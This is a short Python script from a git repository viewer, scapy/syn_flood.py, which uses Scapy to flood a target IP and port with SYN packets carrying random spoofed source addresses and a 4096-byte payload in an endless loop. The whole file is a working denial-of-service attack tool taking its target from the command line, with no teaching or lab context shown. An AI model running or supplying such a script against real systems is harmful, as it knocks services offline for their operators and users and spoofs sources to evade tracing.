summaryrefslogtreecommitdiff
path: root/scapy/syn_flood.py
blob: aa22d729e1200ffe0f7d2b63b5325a9056f58acb (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

import sys
from scapy.all import *

def syn_flood(target_ip,dport):
    send(IP(src=RandIP(),dst=target_ip)/TCP(sport=RandShort(),dport=dport,flags="S")/Raw(b"X"*4096),loop=1)

if __name__ == "__main__":
    try:
        syn_flood(sys.argv[1],int(sys.argv[2]))
    except PermissionError:
        print(f"{sys.argv[0]} nécessite les droits root")